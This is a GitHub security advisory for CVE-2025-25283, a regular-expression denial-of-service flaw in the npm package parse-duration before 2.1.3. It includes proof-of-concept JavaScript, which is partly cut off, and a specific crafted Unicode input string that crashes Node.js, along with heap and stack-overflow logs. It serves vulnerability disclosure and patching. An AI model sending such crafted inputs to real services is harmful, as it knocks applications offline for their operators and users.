GitHub Advisoryadvisory · npm

GHSA-hcrg-fc28-fcg5 parse-duration has a Regex Denial of Service that results in event loop delay and out of memory

HIGH Published 2025-02-12 Modified 2025-02-12 Official page ↗
Aliases
CVE-2025-25283
Ecosystem
npm
Packages
parse-duration
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weaknesses
CWE-1333
Reviewed
2025-02-12

Affected packages

• npm parse-duration: < 2.1.3 → fixed in 2.1.3

Description

Summary This report finds 2 availability issues due to the regex used in the `parse-duration` npm package: 1. An event loop delay due to the CPU-bound operation of resolving the provided string, from a 0.5ms and up to ~50ms per one operation, with a varying size from 0.01 MB and up to 4.3 MB respectively. 2. An out of memory that would crash a running Node.js application due to a string size of roughly 10 MB that utilizes unicode characters. PoC Refer to the following proof of concept code that provides a test case and makes use of the regular expression in the library as its test case to match against strings: ```js // Vulnerable regex to use from the library: import parse from './index.js' function generateStressTestString(length, decimalProbability) { let result = ""; for (let i = 0; i [34339:0x7686430] 14670 ms: Mark-Compact (reduce) 2047.4 (2073.3) -> 2047.4 (2074.3) MB, 1396.70 / 0.01 ms (+ 0.1 ms in 62 steps since start of marking, biggest step 0.0 ms, walltime since start of marking 1430 ms) (average mu = 0.412, current mu = 0.[34339:0x7686430] 17450 ms: Mark-Compact (reduce) 2048.4 (2074.3) -> 2048.4 (2075.3) MB, 2777.68 / 0.00 ms (average mu = 0.185, current mu = 0.001) allocation failure; scavenge might not succeed FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory ----- Native stack trace ----- 1: 0xb8d0a3 node::OOMErrorHandler(char const*, v8::OOMDetails const&) [node] 2: 0xf06250 v8::Utils::ReportOOMFailure(v8::internal::Isolate*, char const*, v8::OOMDetails const&) [node] 3: 0xf06537 v8::internal::V8::FatalProcessOutOfMemory(v8::internal::Isolate*, char const*, v8::OOMDetails const&) [node] 4: 0x11180d5 [node] 5: 0x112ff58 v8::internal::Heap::CollectGarbage(v8::internal::AllocationSpace, v8::internal::GarbageCollectionReason, v8::GCCallbackFlags) [node] 6: 0x1106071 v8::internal::HeapAllocator::AllocateRawWithLightRetrySlowPath(int, v8::internal::AllocationType, v8::internal::AllocationOrigin, v8::internal::AllocationAlignment) [node] 7: 0x1107205 v8::internal::HeapAllocator::AllocateRawWithRetryOrFailSlowPath(int, v8::internal::AllocationType, v8::internal::AllocationOrigin, v8::internal::AllocationAlignment) [node] 8: 0x10e4856 v8::internal::Factory::NewFillerObject(int, v8::internal::AllocationAlignment, v8::internal::AllocationType, v8::internal::AllocationOrigin) [node] 9: 0x1540686 v8::internal::Runtime_AllocateInYoungGeneration(int, unsigned long*, v8::internal::Isolate*) [node] 10: 0x1979ef6 [node] Aborted (core dumped) ``` You can note that: 1. 0.01 MB of input was enough to cause a 1ms delay (0.92ms) 2. Ranging from either 3 MB to 4 MB of input results in almost a full second day (728ms) and 42 ms, depending on the characters used in the text passed to the library's `parse()` function 3. A 200 MB of input size already causes JavaScript heap out of memory crash However, more interestingly, if we focus on the input string case: ```js const longStringVar2 = "1" + "0".repeat(500) + "e1" + "α".repeat(5225000) ``` Even though this is merely 10 MB of size (9.97 MB) it results in an out of memory issue due to the recursive nature of the regular expression matching: ```sh Regex test on string of length 5225503 (size: 9.97 MB): file:///workspaces/parse-duration/index.js:21 .replace(durationRE, (_, n, units) => { ^ RangeError: Maximum call stack size exceeded at String.replace () at parse (file:///workspaces/parse-duration/index.js:21:6) at testRegex (file:///workspaces/parse-duration/redos.js:35:17) at file:///workspaces/parse-duration/redos.js:89:12 at ModuleJob.run (node:internal/modules/esm/module_job:234:25) at async ModuleLoader.import (node:internal/modules/esm/loader:473:24) at async asyncRunEntryPointWithESMLoader (node:internal/modules/run_main:122:5) Node.js v20.18.1 ``` To note, the issue at hand may not just be the primary regex in use but rather the reliance of the various `replace` functions in the `parse()` function which create copies of the input in memory. Impact • I agree, a 200 MB (perhaps even less if we perform more tests to find the actual threshold) is a large amount of data to send over a network and hopefully is unlikely to hit common application usage. • In the case of the specialized input string case that uses a UTF-8 character it is only requires up to 10 MB of request size to cause a RangeError exception for a running Node.js application, which I think is more applicable and common to allow such input sizes for POST requests and other types. • Even for the smaller payloads such as 0.01 MB which aligns with Express's default of 100kb request limit size it causes a 1ms delay. Now imagine…

Related

Alias · CVE (1)

  • CVE-2025-25283 parse-duraton is software that allows users to convert a human readable duration to milliseconds. vulnerability

Weakness · CWE (1)

  • CWE-1333 Inefficient Regular Expression Complexity weakness

References